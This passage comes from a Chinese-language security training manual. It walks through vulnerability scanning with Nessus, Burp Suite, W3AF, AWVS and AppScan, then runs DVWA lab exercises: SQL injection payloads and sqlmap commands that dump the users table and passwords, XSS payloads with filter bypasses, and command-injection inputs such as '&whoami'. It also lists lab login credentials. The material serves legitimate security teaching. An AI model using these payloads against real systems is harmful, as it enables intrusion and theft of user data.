gè)組織在使用它,是世界上最流行的漏洞掃描程序。Nessus目前分為NessusEssentials、NessusProfessional版本。其中Essentials版本為免費(fèi)版本。在Linux、FreeBSD、Solaris、MacOSX和Windows下都可以使用Nessus。本節(jié)以Kali2022.1中安裝的nessus-8.15.3版本軟件對目標(biāo)系統(tǒng)Metasploitable2-Linux(ip:90)為例來介紹Nessus的使用。使用命令sudo/bin/systemctlstartnessusd.service啟動Nessus服務(wù)瀏覽器中訪問Nessusweb界面:8834/,輸入用戶名密碼nessus/nessus進(jìn)入后臺,在MyScans→NewScan中創(chuàng)建掃描任務(wù)。在Nessus中有很多預(yù)置的掃描模板ScanTemplates。例如選擇AdvancedScan進(jìn)行掃描。添加目標(biāo)。啟動掃描。掃描結(jié)果。查看漏洞列表。查看漏洞詳情。導(dǎo)出報(bào)告。查看報(bào)告。總結(jié)與思考實(shí)訓(xùn)總結(jié)這部分內(nèi)容是關(guān)于網(wǎng)絡(luò)漏洞掃描工具的操作過程,主要內(nèi)容包括:掌握使用Nmap查找特定服務(wù)漏洞。掌握使用OpenVAS掃描目標(biāo)系統(tǒng)。掌握使用Nessees掃描目標(biāo)系統(tǒng)。思考題本單元學(xué)習(xí)的幾種網(wǎng)絡(luò)漏洞掃描工具中,實(shí)現(xiàn)原理是否相同?它們對于漏洞的探測程度取決于什么?Web應(yīng)用漏洞掃描實(shí)訓(xùn)說明實(shí)訓(xùn)目的掌握用BurpSuite、W3AF、AWVS和AppScan掃描目標(biāo)網(wǎng)站。背景知識了解web應(yīng)用漏洞掃描工具的使用。實(shí)習(xí)時(shí)長2個(gè)學(xué)時(shí)實(shí)訓(xùn)環(huán)境實(shí)訓(xùn)器材KaliLinux虛擬機(jī)、Win7虛擬機(jī)。網(wǎng)絡(luò)結(jié)構(gòu)KaliLinux(35)Win7(36)本實(shí)驗(yàn)中需要依賴網(wǎng)絡(luò),請實(shí)驗(yàn)老師根據(jù)學(xué)校組網(wǎng)與實(shí)驗(yàn)環(huán)境分配IP,使KaliLinux以及Win7虛擬機(jī)在同一網(wǎng)段。實(shí)訓(xùn)內(nèi)容實(shí)訓(xùn)準(zhǔn)備啟動KaliLinux。輸入用戶名kali和密碼kali,點(diǎn)擊登錄,進(jìn)入KaliLinux。啟動Windows7虛擬機(jī)。輸入密碼【shiyan】登錄系統(tǒng)。BurpSuite漏洞掃描BurpSuite的Scanner模塊可以用來實(shí)現(xiàn)自動檢測Web站點(diǎn)的漏洞,我們可以使用BurpSuite的Scanner模塊對目標(biāo)網(wǎng)站系統(tǒng)進(jìn)行普通漏洞類型的滲透測試。使用BurpSuite【Scanner】前,要配置好【Proxy】和瀏覽器的代理模式,然后在【Target】模塊中選擇要進(jìn)行漏洞掃描的目標(biāo)網(wǎng)站,實(shí)現(xiàn)漏洞掃描。我們繼續(xù)以WordPress應(yīng)用為例,講解用BurpSuite實(shí)現(xiàn)Web應(yīng)用漏洞掃描。啟動BurpSuite的方法為在root用戶角色下,使用【cd/usr/bin/】進(jìn)入【/usr/bin/】路徑下,鍵入【java-jar/usr/bin/burp-loader-keygen.jar】命令。點(diǎn)擊【run】,運(yùn)行程序,選擇默認(rèn)的。選擇【Temporaryproject】創(chuàng)建一個(gè)臨時(shí)項(xiàng)目。選擇【useBurpdefaults】,使用默認(rèn)配置。啟動后,可看到BurpSuite的首頁。BurpSuite默認(rèn)監(jiān)聽【】的【80】端口,我們需要設(shè)置瀏覽器的代理。KaliLinux中自帶的瀏覽器是火狐瀏覽器(FireFox),它的代理設(shè)置入口為頁面右上角的按鈕,點(diǎn)擊【Preferences】選項(xiàng)卡。找到【NetworkSettings】子項(xiàng),點(diǎn)擊【Settings……】按鈕。在【ConnectionSettings】中啟動手動設(shè)置代理【Manualproxyconfiguration】,設(shè)置代理地址和端口,點(diǎn)擊【OK】按鈕,即可完成Firefox的代理設(shè)置。接下來,通過【service】命令開啟【W(wǎng)ordPress】服務(wù)。在proxy模塊中啟動監(jiān)聽模式,瀏覽器中訪問【http://localhost/wordpress/】。回到BurpSuite中,點(diǎn)擊【target】-【sitemap】,右鍵目標(biāo)站點(diǎn),選擇【Activelyscanthishost】。點(diǎn)擊【next】,選擇掃描的文件對象。點(diǎn)擊【ok】,掃描整個(gè)站點(diǎn)。開始掃描后可以看到目標(biāo)站點(diǎn)的網(wǎng)站結(jié)構(gòu)。返回【scanner】模塊,可以查看實(shí)時(shí)掃描信息可點(diǎn)擊【Scanqueue】,查看掃描隊(duì)列掃描結(jié)束后,可在【target】模塊的【issue】視圖中,選中想要導(dǎo)出的事件,導(dǎo)出報(bào)告,我們導(dǎo)出跨域請求偽造漏洞的報(bào)告。選擇【HTML】文件格式,點(diǎn)擊【next】,導(dǎo)出HTML格式的報(bào)告。選擇報(bào)告導(dǎo)出路徑,此處將報(bào)告導(dǎo)出在桌面上。報(bào)告導(dǎo)出后,可到保存的路徑下查看導(dǎo)出的報(bào)告W3AF漏洞掃描W3AF是一個(gè)Web應(yīng)用程序攻擊和審計(jì)的框架,能夠識別和利用Web應(yīng)用程序漏洞,該軟件既可以通過圖形化界面訪問,也可以通過命令行使用,圖形化界面工具為w3af-gui、命令行的工具名為w3af-console。W3AF使用Python語言編寫,用戶也可通過Python語言編寫插件使用,目前該工具有130多個(gè)插件,這些插件能夠識別并利用SQL注入、跨站腳本、遠(yuǎn)程文件包含等等。W3AF的主要插件共包含三種,分別為爬取站點(diǎn)獲得新URL地址的爬取類(Crawl)、向爬取類插件爬取的注入點(diǎn)發(fā)送特定POC數(shù)據(jù)以確認(rèn)漏洞是否存在的審計(jì)類(Audit)、對審計(jì)類插件發(fā)現(xiàn)的漏洞進(jìn)行攻擊和利用的攻擊類(Attack),其他插件包含基礎(chǔ)插件(Infrastructure)、檢索插件(Grep)、輸出插件(Output)、請求或響應(yīng)修改插件(Mangle)、暴力破解插件(Broutforce)、規(guī)避插件(Evasion)。W3AF有Linux版本也有Windows版本,在Windows7虛擬機(jī)中,雙擊【w3afGUI】打開軟件。在用戶賬戶控制中選擇【是】。在更新失敗告警框中,選擇【ok】即可。打開軟件后其首頁圖下圖所示。其中,【Profiles】是預(yù)定義的插件類型,【Plugin】是用戶可用的具體插件內(nèi)容,我們可在此選取插件定義自己要實(shí)現(xiàn)的檢測,下面的【Output】是指定掃描結(jié)果輸出及存儲的方式及路徑,【Target】是用戶輸入要掃描的目標(biāo)站點(diǎn)的位置。我們同樣以WordPress應(yīng)用作為掃描站點(diǎn),介紹使用W3AF對目標(biāo)站點(diǎn)進(jìn)行掃描的過程。通過【service】命令在Kali中啟動WordPress服務(wù)。在W3AF中配置掃描信息,首先選擇【full_audit】插件類別,然后配置掃描目標(biāo)為【35/wordpress/】,接下來在【Output】模塊中選擇輸出文件格式為【htmlFile】,設(shè)置【fileName】為報(bào)告存儲的文件名,啟動【verbose】,輸出詳細(xì)信息,點(diǎn)擊【Saveconfiguration】保存對掃描結(jié)果輸出的配置,配置完成后點(diǎn)擊【Start】開始掃描任務(wù)。等待掃描結(jié)束后,可點(diǎn)擊【Results】按鈕查看掃描結(jié)果,如下圖所示。此外,還可在W3AF的安裝路徑下查看掃描報(bào)告。查看掃描報(bào)告內(nèi)容如下圖所示。AWVS漏洞掃描AWVS(AcunetixWebVulnarabilityScanner,AcunetixWeb漏洞掃描器),是一個(gè)可用于Web安全漏洞掃描的工具,能夠?qū)崿F(xiàn)站點(diǎn)的爬取、遍歷獲取目標(biāo)網(wǎng)站的目錄結(jié)構(gòu),搜索給定網(wǎng)段中開啟了80端口和443端口的主機(jī),子域名搜索,SQL盲注等功能。KaliLinux中默認(rèn)不安裝AWVS,需要用戶自己手動安裝。自AWVS11后,用戶通過網(wǎng)頁訪問使用AWVS,安裝時(shí)需設(shè)置主機(jī)信息、郵箱地址和登錄密碼,使用時(shí)通過設(shè)置的主機(jī)信息進(jìn)行登錄。我們同樣以【W(wǎng)ordPress】服務(wù)為例,講解用AWVS實(shí)現(xiàn)Web應(yīng)用漏洞掃描方法。AWVS的啟動方法是打開【chrome】瀏覽器,訪問【:3443/】,登錄AWVS。使用【shiyan20210317@163.com】用戶名,密碼【Shiyan1234】登錄,可以看到AWVS首頁。點(diǎn)擊【AddTarget】,添加一個(gè)掃描目標(biāo),此處添加【/wordpress/】WordPress服務(wù)的訪問地址,輸入網(wǎng)址后點(diǎn)擊【save】保存。在【TargetInformation】模塊中選擇【fast】,設(shè)置掃描速度。如果網(wǎng)站需要登錄,在【SiteLogin】模塊中設(shè)置用戶名和密碼,我們的實(shí)驗(yàn)中是不需要用戶名和密碼的,因此不啟用該模塊。各項(xiàng)配置項(xiàng)設(shè)置好后,點(diǎn)擊【Save】保存,然后點(diǎn)擊【Scan】,開始掃描。等待掃描結(jié)束后,掃描結(jié)果概覽如下圖所示??梢渣c(diǎn)擊【Vulnerabilities】子頁,查看漏洞掃描詳情??牲c(diǎn)擊【SiteStructure】子頁,查看網(wǎng)站結(jié)構(gòu)??梢渣c(diǎn)擊【Events】子頁,查看掃描過程記錄??牲c(diǎn)擊掃描結(jié)果界面右上角的【GenerateReport】按年,導(dǎo)出掃描報(bào)告。選擇導(dǎo)出【pdf】格式的報(bào)告,選擇路徑進(jìn)行存儲,查看導(dǎo)出的報(bào)告結(jié)果如下圖所示。APPScanAppScan是一個(gè)可用于Web安全漏洞掃描的工具,由IBM開發(fā),主要用于Windows操作系統(tǒng),能夠利用爬蟲技術(shù)進(jìn)行網(wǎng)站安全滲透測試、根據(jù)網(wǎng)站入口自動地對網(wǎng)頁鏈接進(jìn)行安全漏洞掃描,掃描結(jié)束后會提供掃描報(bào)告和修復(fù)建議等。AppScan在掃描目標(biāo)是首先探索整個(gè)目標(biāo)頁面,然后使用掃描庫修改HTTP請求,進(jìn)行各類攻擊嘗試,最后通過分析請求的響應(yīng)包來驗(yàn)證目標(biāo)站點(diǎn)是否存在安全漏洞,AppScan預(yù)定義的掃描策略主要包括:【缺省值】:包含多種測試方式,但會除去侵入式和端口監(jiān)聽;【僅應(yīng)用程序】:包含所有應(yīng)用程序級別的測試,但會去除侵入式和端口監(jiān)聽;【僅基礎(chǔ)結(jié)構(gòu)】:包含所有基礎(chǔ)結(jié)構(gòu)級別的測試,但會去除侵入式和端口監(jiān)聽;【侵入式】:包含所有侵入式測試,該方式可能會影響服務(wù)器的穩(wěn)定性;【完成】:包含所有AppScan的測試;【關(guān)鍵的少數(shù)】:包含成功可能性較高的測試,該方式可在評估目標(biāo)站點(diǎn)的時(shí)間有限時(shí)使用;【開發(fā)者精要】:包含成功可能性極高的應(yīng)用程序測試,該方式可在評估目標(biāo)站點(diǎn)的時(shí)間有限時(shí)使用;我們同樣以【W(wǎng)ordPress】服務(wù)為例,講解用AppScan實(shí)現(xiàn)Web應(yīng)用漏洞掃描方法。在Kali中開啟WordPress服務(wù)。AppScan的啟動方法是打開【W(wǎng)indows7】虛擬機(jī),雙擊桌面上的【IBMSecurityAppScanStandard】快捷方式,打開AppScan軟件。 允許權(quán)限申請。打開后,軟件首頁如下圖所示。點(diǎn)擊【創(chuàng)建新的掃描】,在預(yù)定義的模板中選擇【常規(guī)掃描】。 在掃描配置配置向?qū)е羞x擇【AppScan(自動或手動)】的站點(diǎn)探索方式,點(diǎn)擊【下一步】。 在【URL和服務(wù)器】配置項(xiàng)中填寫掃描目標(biāo)網(wǎng)站地址【35/wordpress/】,其中【35】是Kali虛擬機(jī)的IP地址。 在登錄管理向?qū)е羞x擇【無】,不登錄,點(diǎn)擊【下一步】。 在測試策略向?qū)е羞x擇【缺省值】測試策略,點(diǎn)擊【下一步】。 啟動方式選擇【啟動全面自動掃描】方式,點(diǎn)擊【完成】,完成AppScan的掃描配置。 在自動保存詢問對話框中選擇【是】,立即保存掃描。 選擇掃描文件的存儲路徑及文件名,點(diǎn)擊【保存】。 掃描開始后,會快速進(jìn)行第一遍探測,結(jié)束后可看到目標(biāo)站點(diǎn)的網(wǎng)站結(jié)構(gòu)概要和AppScan請求的URL等信息。接下來配置進(jìn)行全面掃描,點(diǎn)擊【掃描】選項(xiàng)卡,選擇【掃描配置】。在【掃描配置】中選擇【環(huán)境定義】,將掃描站點(diǎn)的操作系統(tǒng)進(jìn)行如下配置,點(diǎn)擊【應(yīng)用】。在環(huán)境定義重新驗(yàn)證對話框中選擇【是】,點(diǎn)擊【關(guān)閉】。點(diǎn)擊【確定】,完成掃描配置。在主界面上單擊【掃描】圖標(biāo)的下三角,選擇【繼續(xù)完全掃描】。若有網(wǎng)絡(luò)連接請求詢問,則選擇【允許訪問】。等待掃描完成,可點(diǎn)擊【問題】按鈕,查看掃描的報(bào)告??偨Y(jié)與思考實(shí)訓(xùn)總結(jié)這部分內(nèi)容是關(guān)于Web漏洞掃描工具的操作過程,主要內(nèi)容包括:用BurpSuite、W3AF、AWVS和AppScan掃描目標(biāo)網(wǎng)站。思考題本單元學(xué)習(xí)的幾種Web漏洞掃描工具中,實(shí)現(xiàn)原理是否相同?簡述一下他們的優(yōu)缺點(diǎn)。
項(xiàng)目三Web漏洞利用SQL注入實(shí)訓(xùn)說明實(shí)訓(xùn)目的1.掌握SQL注入基本方法2.掌握SQL注入的步驟3.學(xué)會使用sqlmap工具背景知識1.掌握SQL注入的基本原理2.掌握SQL注入的分類和判斷3.掌握SQL注入的基本防御實(shí)習(xí)時(shí)長2個(gè)學(xué)時(shí)實(shí)訓(xùn)環(huán)境實(shí)訓(xùn)器材Win7虛擬機(jī)網(wǎng)絡(luò)結(jié)構(gòu)Win7虛擬機(jī)(33)本實(shí)驗(yàn)中,請實(shí)驗(yàn)老師根據(jù)學(xué)校組網(wǎng)與實(shí)驗(yàn)環(huán)境分配IP。實(shí)訓(xùn)內(nèi)容實(shí)訓(xùn)準(zhǔn)備啟動Windows7虛擬機(jī)。輸入密碼【shiyan】登錄系統(tǒng)。啟動phpstudy,打開Apache和MySQL服務(wù)登錄DVWA,在瀏覽器輸入/DVWA/login.php,轉(zhuǎn)到DVWA的登錄頁面,使用賬號admin,密碼111111進(jìn)行登錄。SQL注入-LowDVWA1.9的代碼分為四種安全級別:Low,Medium,High,Impossible。選擇Low安全級別。然后點(diǎn)擊“SQLInjection”進(jìn)入SQL注入關(guān)卡。判斷是否存在注入,注入是字符型還是數(shù)字型輸入1,查詢成功:輸入1'or'1'='2,查詢失敗,返回結(jié)果為空:輸入1'or'1234'='1234,查詢成功。返回了多個(gè)結(jié)果,說明存在字符型注入。猜解SQL查詢語句中的字段數(shù)輸入1'or1=1orderby1#,查詢成功:輸入1'or1=1orderby3#,查詢失敗。說明執(zhí)行的SQL查詢語句中只有兩個(gè)字段,即這里的Firstname、Surname。確定顯示的字段順序輸入1'unionselect1,2#,查詢成功。說明查詢1字段的結(jié)果會在Firstname出回顯,查詢2字段的結(jié)果會在Surname出回顯。獲取當(dāng)前數(shù)據(jù)庫輸入1'unionselect1,database()#,查詢成功:獲取數(shù)據(jù)庫中的表輸入1'unionselect1,group_concat(table_name)frominformation_schema.tableswheretable_schema=database()#,查詢成功:獲取表中的字段名輸入1'unionselect1,group_concat(column_name)frominformation_schema.columnswheretable_name='users'#,查詢成功:下載數(shù)據(jù)輸入1'or1=1unionselectgroup_concat(user_id,first_name,last_name),group_concat(password)fromusers#,查詢成功:SQL注入-MediumDVWA1.9的代碼分為四種安全級別:Low,Medium,High,Impossible。選擇Medium安全級別。Medium級別的代碼利用mysql_real_escape_string函數(shù)對特殊符號\x00,\n,\r,\,',",\x1a進(jìn)行轉(zhuǎn)義,同時(shí)前端頁面設(shè)置了下拉選擇表單,希望以此來控制用戶的輸入。2. 在瀏覽器“設(shè)置”—“高級”—“更改代理服務(wù)器設(shè)置”中配置代理,代理地址為,端口為8080。 打開桌面burpsuite文件夾,點(diǎn)擊“burp-load-keygen.jar”,運(yùn)行burpsuite軟件,配置burpsuite代理。判斷是否存在注入,注入是字符型還是數(shù)字型通過抓包改參數(shù),提交惡意構(gòu)造的查詢參數(shù)。抓包更改參數(shù)id為1'or1=1#點(diǎn)擊【Forword】放行數(shù)據(jù)包后,查看瀏覽器返回信息,發(fā)現(xiàn)報(bào)錯(cuò):重新抓包更改參數(shù),將id修改為1or1=1#,點(diǎn)擊【Forward】,返回瀏覽器查看結(jié)果,查詢成功。說明存在數(shù)字型注入。猜解SQL查詢語句中的字段數(shù)抓包更改參數(shù)id為1orderby2#,查詢成功:抓包更改參數(shù)id為1orderby3#,出現(xiàn)報(bào)錯(cuò),說明存在兩個(gè)字段。確定顯示的字段順序抓包更改參數(shù)id為1unionselect1,2#,查詢成功。說明執(zhí)行的SQL語句為selectFirstname,Surnamefrom表whereID=id...。獲取當(dāng)前數(shù)據(jù)庫抓包更改參數(shù)id為1unionselect1,database()#,查詢成功。說明當(dāng)前的數(shù)據(jù)庫為dvwa。獲取數(shù)據(jù)庫中的表抓包更改參數(shù)id為1unionselect1,group_concat(table_name)frominformation_schema.tableswheretable_schema=database()#,查詢成功:獲取表中的字段名抓包更改參數(shù)id為1unionselect1,group_concat(column_name)frominformation_schema.columnswheretable_name=’users’#,查詢失?。?這是因?yàn)閱我柋晦D(zhuǎn)義了,變成了\’??梢岳?6進(jìn)制進(jìn)行繞過,抓包更改參數(shù)id為1unionselect1,group_concat(column_name)frominformation_schema.columnswheretable_name=0x7573657273#,查詢成功。說明users表中有8個(gè)字段,分別是user_id,first_name,last_name,user,password,avatar,last_login,failed_login。下載數(shù)據(jù)抓包修改參數(shù)id為1or1=1unionselectgroup_concat(user_id,first_name,last_name),group_concat(password)fromusers#,查詢成功。這樣就得到了users表中所有用戶的user_id,first_name,last_name,password的數(shù)據(jù)。SQL注入-HighDVWA1.9的代碼分為四種安全級別:Low,Medium,High,Impossible。選擇High安全級別。High級別的代碼只是在SQL查詢語句中添加了LIMIT1,希望以此控制只輸出一個(gè)結(jié)果。漏洞利用雖然添加了LIMIT1,但是我們可以通過#將其注釋掉。由于手工注入的過程與Low級別基本一樣,直接最后一步演示下載數(shù)據(jù)。輸入:1'or1=1unionselectgroup_concat(user_id,first_name,last_name),group_concat(password)fromusers#查詢成功:需要特別提到的是,High級別的查詢提交頁面與查詢結(jié)果顯示頁面不是同一個(gè),也沒有執(zhí)行302跳轉(zhuǎn),這樣做的目的是為了防止一般的sqlmap注入,因?yàn)閟qlmap在注入過程中,無法在查詢提交頁面上獲取查詢的結(jié)果,沒有了反饋,也就沒辦法進(jìn)一步注入。sqlmap的使用利用sqlmap對sql注入進(jìn)行利用,雙擊sqlmap快捷鍵,進(jìn)入命令窗口,鍵入sqlmap.py可以看到sqlmap的啟動界面以Low級別SQL注入為例,輸入?yún)?shù)1,獲取url為“/DVWA/vulnerabilities/sqli/?/id=1&Submit=Submit#”,在sqlmap軟件窗口中鍵入sqlmap.py-u"/DVWA/vulnerabilities/sqli/?/id=1&Submit=Submit#"進(jìn)行注入測試。發(fā)現(xiàn)網(wǎng)站需要登錄,所以在進(jìn)行測試的時(shí)候需要加上cookie。在頁面右鍵檢查頁面。可在Network中找到cookie值。鍵入sqlmap.py-u"/DVWA/vulnerabilities/sqli/?/id=1&Submit=Submit#"--cookie="security=low;PHPSESSID=vp85jg4o3lb509u7ajuecefpd6"--batch。成功注入識別到數(shù)據(jù)庫為MySQL。繼續(xù)讀取數(shù)據(jù)庫信息,使用”--dbs”參數(shù),列出所有數(shù)據(jù)庫名,可以看到有dvwa庫。sqlmap.py-u"/DVWA/vulnerabilities/sqli/?/id=1&Submit=Submit#"--cookie="security=low;PHPSESSID=vp85jg4o3lb509u7ajuecefpd6"--batch--dbs繼續(xù)讀取數(shù)據(jù)庫dvwa庫的表信息,使用“-D”參數(shù)指定數(shù)據(jù)庫查詢,使用“--tables”參數(shù),列出dvwa數(shù)據(jù)庫中所有表名,可以看到有g(shù)uestbook、users表。sqlmap.py-u"/DVWA/vulnerabilities/sqli/?/id=1&Submit=Submit#"--cookie="security=low;PHPSESSID=vp85jg4o3lb509u7ajuecefpd6"--batch-Ddvwa--tables繼續(xù)讀取數(shù)據(jù)庫users表信息,使用“-D”參數(shù)指定數(shù)據(jù)庫,使用“-T”參數(shù)指定表,使用“--columns”參數(shù)列出所有字段的名字,可以看到有不同的列信息。sqlmap.py-u"/DVWA/vulnerabilities/sqli/?/id=1&Submit=Submit#"--cookie="security=low;PHPSESSID=vp85jg4o3lb509u7ajuecefpd6"--batch-Ddvwa-Tusers--columns繼續(xù)查詢數(shù)據(jù)。使用“-C”參數(shù)指定查詢字段內(nèi)容,使用“--dump”參數(shù)將查詢的內(nèi)容打印出來。sqlmap.py-u"/DVWA/vulnerabilities/sqli/?/id=1&Submit=Submit#"--cookie="security=low;PHPSESSID=vp85jg4o3lb509u7ajuecefpd6"--batch--dump-C"user_id,user,password"-T"users"-D"dvwa"總結(jié)與思考實(shí)訓(xùn)總結(jié)這部分內(nèi)容是關(guān)于SQL注入的操作過程,主要內(nèi)容包括:GET方式的SQL注入利用方式POST方式的SQL注入利用方式利用sqlmap工具進(jìn)行SQL注入思考題問題1:在SQL注入語句中#號起到了什么作用?問題2:除了#號,還可以利用哪些字符達(dá)到注釋的作用?XSS攻擊實(shí)訓(xùn)說明實(shí)訓(xùn)目的1.掌握反射型XSS的原理和利用方法2.掌握存儲型XSS的原理和利用方法3.掌握XSS滲透的基本流程背景知識1.掌握XSS的基本原理2.掌握XSS的分類和判斷3.掌握XSS的基本防御實(shí)習(xí)時(shí)長2個(gè)學(xué)時(shí)實(shí)訓(xùn)環(huán)境Win7虛擬機(jī)。實(shí)訓(xùn)器材Win7虛擬機(jī)。網(wǎng)絡(luò)結(jié)構(gòu)Win7虛擬機(jī)(33)本實(shí)驗(yàn)中,請實(shí)驗(yàn)老師根據(jù)學(xué)校組網(wǎng)與實(shí)驗(yàn)環(huán)境分配IP。實(shí)訓(xùn)內(nèi)容實(shí)訓(xùn)準(zhǔn)備啟動Windows7虛擬機(jī)。輸入密碼【shiyan】登錄系統(tǒng)。啟動phpstudy,打開Apache和MySQL服務(wù)。登錄DVWA,在瀏覽器輸入/DVWA/login.php,轉(zhuǎn)到DVWA的登錄頁面,使用用戶名admin,密碼111111進(jìn)行登錄。反射型XSS1. DVWA1.9的代碼分為四種安全級別:Low,Medium,High,Impossible。選擇安全“Low”級別。2. 反射型XSS-Low服務(wù)器端核心代碼如下,可以看到,代碼直接引用了name參數(shù),并沒有任何的過濾與檢查,存在明顯的XSS漏洞。輸入<script>alert(/xss/)</script>,成功彈框:2. 反射型XSS-Medium服務(wù)器端核心代碼如下,可以看到,這里對輸入進(jìn)行了過濾,基于黑名單的思想,使用str_replace函數(shù)將輸入中的<script>刪除。輸入<ScRipt>alert(/xss/)</script>,大小寫混淆繞過,成功彈框:3. 反射型XSS-High服務(wù)器端核心代碼如下,可以看到,High級別的代碼同樣使用黑名單過濾輸入,preg_replace()函數(shù)用于正則表達(dá)式的搜索和替換,這使得雙寫繞過、大小寫混淆繞過(正則表達(dá)式中i表示不區(qū)分大小寫)不再有效。雖然無法使用<script>標(biāo)簽注入XSS代碼,但是可以通過img、body等標(biāo)簽的事件或者iframe等標(biāo)簽的src注入惡意的js代碼。輸入<imgsrc=1onerror=alert(/xss/)>,成功彈框:存儲型XSS1. DVWA1.9的代碼分為四種安全級別:Low,Medium,High,Impossible。選擇“Low”安全級別。2. 存儲型XSS-Low服務(wù)器端核心代碼如下,可以看到,對輸入并沒有做XSS方面的過濾與檢查,且存儲在數(shù)據(jù)庫中,因此這里存在明顯的存儲型XSS漏洞。trim(string,charlist):函數(shù)移除字符串兩側(cè)的空白字符或其他預(yù)定義字符,預(yù)定義字符包括、\t、\n、\x0B、\r以及空格,可選參數(shù)charlist支持添加額外需要?jiǎng)h除的字符。mysql_real_escape_string(string,connection):函數(shù)會對字符串中的特殊符號(\x00,\n,\r,\,',",\x1a)進(jìn)行轉(zhuǎn)義。stripslashes(string):函數(shù)刪除字符串中的反斜杠。message一欄輸入<script>alert(/xss/)</script>,成功彈框。2. 存儲XSS-Medium服務(wù)器端核心代碼如下,可以看到,可以看到,由于對message參數(shù)使用了htmlspecialchars函數(shù)進(jìn)行編碼,因此無法再通過message參數(shù)注入XSS代碼,但是對于name參數(shù),只是簡單過濾了<script>字符串,仍然存在存儲型的XSS。strip_tags()
函數(shù)剝?nèi)プ址械?/p>
HTML、XML
以及
PHP
的標(biāo)簽,但允許使用<b>標(biāo)簽。addslashes()
函數(shù)返回在預(yù)定義字符(單引號、雙引號、反斜杠、NULL)之前添加反斜杠的字符串。雙寫繞過:抓包改name參數(shù)為<sc<script>ript>alert(/xss/)</script>:大小寫混淆繞過:抓包改name參數(shù)為<Script>alert(/xss/)</script>:3. 存儲型XSS-High服務(wù)器端核心代碼如下,可以看到,可以看到,這里使用正則表達(dá)式過濾了<script>標(biāo)簽,但是卻忽略了img、iframe等其它危險(xiǎn)的標(biāo)簽,因此name參數(shù)依舊存在存儲型XSS。抓包改name參數(shù)為<imgsrc=1onerror=alert(1)>:DOM型XSS1. DVWA1.9的代碼分為四種安全級別:Low,Medium,High,Impossible。選擇“Low”安全級別。2. DOM型XSS-Low從源代碼可以看出,這里low級別的代碼沒有任何的保護(hù)性措施!對default參數(shù)沒有進(jìn)行任何的過濾由于QQ瀏覽器做了防護(hù),DOM型XSS使用IE瀏覽器進(jìn)行實(shí)驗(yàn)。將default的參數(shù)English替換為<script>alert('xss')</script>,出現(xiàn)了彈窗。3. DOM型XSS-Medium服務(wù)器端核心代碼如下,可以看到medium級別的代碼先檢查了default參數(shù)是否為空,如果不為空則將default等于獲取到的default值。這里還使用了stripos用于檢測default值中是否有<script,如果有的話,則將default=English。輸入<imgsrc=1οnerrοr=('xss')>,沒有彈框:查看源代碼,發(fā)現(xiàn)我們的語句被插入到了value值中,但是并沒有插入到option標(biāo)簽的值中,所以img標(biāo)簽并沒有發(fā)起任何作用。所以我們得先閉合前面的標(biāo)簽,我們構(gòu)造語句閉合option標(biāo)簽:></option><imgsrc=1οnerrοr=alert('xss')>,但是我們的語句并沒有執(zhí)行,于是我們查看源代碼,發(fā)現(xiàn)我們的語句中只有>被插入到了option標(biāo)簽的值中,因?yàn)?lt;/option>閉合了option標(biāo)簽,所以img標(biāo)簽并沒有插入。繼續(xù)構(gòu)造語句去閉合select標(biāo)簽,</option></select><imgsrc=1onerror=alert(/xss/)>4. DOM型XSS-High服務(wù)器端核心代碼如下,可以看到白名單“只允許”傳的“default值”為French、English、German、Spanish其中一個(gè)。由于form表單提交的數(shù)據(jù)想經(jīng)過JS過濾所以注釋部分的javascript代碼不會被傳到服務(wù)器端(也就符合了白名單的要求)。/dvwa/vulnerabilities/xss_d/?default=English#<script>alert(/xss/)</script>總結(jié)與思考實(shí)訓(xùn)總結(jié)這部分內(nèi)容是關(guān)于XSS攻擊的操作過程,主要內(nèi)容包括:反射型XSS的利用方式存儲型XSS的利用方式DOM型XSS的利用方式思考題問題1:XSS注入中主要有哪些限制?問題2:XSS過濾只針對輸入信息過濾有效嗎?命令注入實(shí)訓(xùn)說明實(shí)訓(xùn)目的1.掌握命令注入漏洞利用的常見命令。2.掌握命令注入相關(guān)的危險(xiǎn)函數(shù)。3.掌握利用攻擊代碼獲得目標(biāo)主機(jī)shell。背景知識1.掌握命令注入的基本原理。2.掌握命令注入的分類和判斷。3.掌握命令注入的基本防御。實(shí)習(xí)時(shí)長2個(gè)學(xué)時(shí)實(shí)訓(xùn)環(huán)境實(shí)訓(xùn)器材Win7虛擬機(jī)網(wǎng)絡(luò)結(jié)構(gòu)Win7虛擬機(jī)(33)本實(shí)驗(yàn)中,請實(shí)驗(yàn)老師根據(jù)學(xué)校組網(wǎng)與實(shí)驗(yàn)環(huán)境分配IP。實(shí)訓(xùn)內(nèi)容實(shí)訓(xùn)準(zhǔn)備啟動Windows7虛擬機(jī)。輸入密碼【shiyan】登錄系統(tǒng)。啟動phpstudy,打開Apache和MySQL服務(wù)。登錄DVWA,在瀏覽器輸入/DVWA/login.php,轉(zhuǎn)到DVWA的登錄頁面,使用用戶名admin,密碼111111進(jìn)行登錄。命令注入-LowDVWA1.9的代碼分為四種安全級別:Low,Medium,High,Impossible。選擇Low安全級別。服務(wù)器端代碼,可以看到,服務(wù)器通過判斷操作系統(tǒng)執(zhí)行不同ping命令,但是對ip參數(shù)并未做任何的過濾,導(dǎo)致了嚴(yán)重的命令注入漏洞。stristr(string,search,before_search)stristr函數(shù)搜索字符串在另一字符串中的第一次出現(xiàn),返回字符串的剩余部分(從匹配點(diǎn)),如果未找到所搜索的字符串,則返回FALSE。參數(shù)string規(guī)定被搜索的字符串,參數(shù)search規(guī)定要搜索的字符串(如果該參數(shù)是數(shù)字,則搜索匹配該數(shù)字對應(yīng)的ASCII值的字符),可選參數(shù)before_true為布爾型,默認(rèn)為"false",如果設(shè)置為"true",函數(shù)將返回search參數(shù)第一次出現(xiàn)之前的字符串部分。php_uname(mode)這個(gè)函數(shù)會返回運(yùn)行php的操作系統(tǒng)的相關(guān)描述,參數(shù)mode可取值“a”(此為默認(rèn),包含序列“snrvm”里的所有模式),“s”(返回操作系統(tǒng)名稱),“n”(返回主機(jī)名),“r”(返回版本名稱),“v”(返回版本信息),“m”(返回機(jī)器類型)。Windows通過&&來執(zhí)行多條命令,執(zhí)行&&whoami。輸出兩條命令的結(jié)果。命令注入-MediumDVWA1.9的代碼分為四種安全級別:Low,Medium,High,Impossible。選擇Medium安全級別。服務(wù)器端代碼,可以看到,相比Low級別的代碼,服務(wù)器端對ip參數(shù)做了一定過濾,即把“&&”、“;”刪除,本質(zhì)上采用的是黑名單機(jī)制,因此依舊存在安全問題。因?yàn)楸贿^濾的只有“&&”與“;”,所以“&”不會受影響。執(zhí)行&whoami。輸出兩條命令的結(jié)果。Command1&&Command2:先執(zhí)行Command1,執(zhí)行成功后